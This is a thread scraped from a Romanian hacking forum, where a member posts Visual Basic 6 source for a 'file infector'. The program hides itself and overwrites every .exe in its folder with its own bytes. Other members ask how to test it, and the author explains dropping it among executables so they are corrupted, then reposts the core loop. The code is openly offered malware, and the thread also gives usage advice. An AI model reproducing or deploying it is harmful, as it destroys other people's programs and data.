www.Hacking-Romania.com
Hacking, gaby hacker team, programe hack, radmin hack, hi5 hack, hack the west, hacking romania, hacking stuff, hacking tools, 1 hack, 1st hacks, 2 hack, 2 hacks, 3 hack, 3 hacks, 3000 hack, 3004 hack, 4 hack, 4 hacks, 55 hack, 6 hack, 6 hacks, 7 hack, 7 hacks, 9 hack, 9dragons hack, a hack, adventure quest hack, aim hack, alz hack, and hacks, best hack, blue hack, bots hack, bots hacks, buy hack, cabal online hack, chaos hacks, cheat engine hack, cheat hack, cheats and hacks, cheats hacks, city hack, club hack, combo hack, conquer hacks, conquer online hack, conquer online hacks, conquer speed hack, conquiztador hack, counter strike 1.6 hack, damage hack, de hack, download hack, download hack for, dragonfable hack, dragonfable hacks, drakkarious hack, exp hack, flyff hack, free hack, free hacks, game hack, game hacks, garena exp hack, gladiatus hack, gm hack, gold hack, gunz hack, hack, hack 5, hack a pc, hack a site, hack a website, hack blog, hack conquer, hack counter strike, hack crack, hack cs, hack cs 1.6, hack dvd, hack email, hack forum, hack hunter, hack id, hack info, hack it, hack mess, hack muonline, hack net, hack password, hack passwords, hack pc, hack pdf, hack programs, hack site, hack sites, hack soft, hack software, hack team, hack the game, hack this, hack website, hack windows xp, hack world, hack xp, hacked, hacking, hacking game, hacking programs, hacking software, hacking tutorials, hacks, how hack, how to hack, icon hack, last chaos hack, last chaos hacks, life hack, lineage 2 hack, lineage 2 hacks, linux hack, lvl hack, maplestory hacks, mobile hack, multi hack 3.0, mybrute hack, naruto arena hack, naruto arena hacks, one hit kill hack, online hacks, perfect world hacks, pool hack, programe hack, resolution hack, resource hack, roll hack, royal hack, silkroad hack, source hack, speed hack, speed hacks, super hack, the west hack, warrock hack, warrock hacks, web hack, xpango hack, lockerz forum 		Lista Forumurilor Pe Tematici
www.Hacking-Romania.com | Reguli | Inregistrare | Login

POZE WWW.HACKING-ROMANIA.COM

Nu sunteti logat. 		Nou pe simpatie:
doryna_2223
Femeie
25 ani
Mehedinti
cauta Barbat
25 - 80 ani
www.Hacking-Romania.com / Virus/Trojan / file infector in vb6  
Autor
Mesaj Pagini: 1
danuhack
MEMBRU SPECIAL

Din: '"test
Inregistrat: acum 15 ani
Postari: 447
Option Explicit
Dim fl() As Byte
Dim Target As String

Private Sub form_load()
On Error Resume Next
App.TaskVisible = False
Me.Hide
End Sub

Private Sub Timer1_Timer()
On Error Resume Next

Dim vir
vir = FreeFile

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #vir
ReDim fl(LOF(1) - 1)
Get #1, 1, fl
Close #vir

Target = Dir(App.Path & "\" & "*.exe"
While Target <> ""

Open App.Path & "\" & Target For Binary Access Write As #vir
Put #1, , fl
Close #vir

Target = Dir()

Wend
End
End Sub

have funn   

_______________________________________
[img]http://i220.photobucket.com/albums/dd214/CatalynCN/bnr_bancnota_zero_0_lei_ron_1266581.jpg[/img]
pus acum 14 ani
   
Adytzu04
NOVICE

Inregistrat: acum 14 ani
Postari: 90
oo mersi sper sa mearga!

o Shit! cum il testez sa vad daca merge...cand eu daca il rulez el se executa.... 

_______________________________________
[img]http://img.userbars.pl/157/31331.gif[/img]
pus acum 14 ani
   
danuhack
MEMBRU SPECIAL

Din: '"test
Inregistrat: acum 15 ani
Postari: 447
faci un exe si il pui intr-un fisier cu multe exe-uri si daca il deschizi acele exe-uri for fi srticate

_______________________________________
[img]http://i220.photobucket.com/albums/dd214/CatalynCN/bnr_bancnota_zero_0_lei_ron_1266581.jpg[/img]
pus acum 14 ani
   
Adytzu04
NOVICE

Inregistrat: acum 14 ani
Postari: 90
aha...mersi de idee

_______________________________________
[img]http://img.userbars.pl/157/31331.gif[/img]
pus acum 14 ani
   
zerocool99
INCEPATOR

Inregistrat: acum 14 ani
Postari: 33
dar ce tip de fisier trebuie sa fie ?
bat sau exe



_______________________________________
Do you like me? No.. I hate you..
You hate me?
Yeah yeah, fuck you!   Hey! Don't tell me fuck me, fuck you!
You are the next victim.. so click-click BOOM!
pus acum 14 ani
   
zerocool99
INCEPATOR

Inregistrat: acum 14 ani
Postari: 33
sau cum trebuie facut ?
Ziceti mi si mie

_______________________________________
Do you like me? No.. I hate you..
You hate me?
Yeah yeah, fuck you!   Hey! Don't tell me fuck me, fuck you!
You are the next victim.. so click-click BOOM!
pus acum 14 ani
   
danuhack
MEMBRU SPECIAL

Din: '"test
Inregistrat: acum 15 ani
Postari: 447
dupa cum scrie in cod recit

Code:

Open App.Path & \"\\\" & App.EXEName & \".exe\" For Binary Access Read As #vir
ReDim fl(LOF(1) - 1)
Get #1, 1, fl
Close #vir

Target = Dir(App.Path & \"\\\" & \"*.exe\"
While Target <> \"\"

Open App.Path & \"\\\" & Target For Binary Access Write As #vir
Put #1, , fl
Close #vir

Target = Dir()

Wend
End

Logic ar fi sa fie infectate exe-urile


Ps:Nu mai face dublu post exista edit

_______________________________________
[img]http://i220.photobucket.com/albums/dd214/CatalynCN/bnr_bancnota_zero_0_lei_ron_1266581.jpg[/img]
pus acum 14 ani
   
Pagini: 1  

Mergi la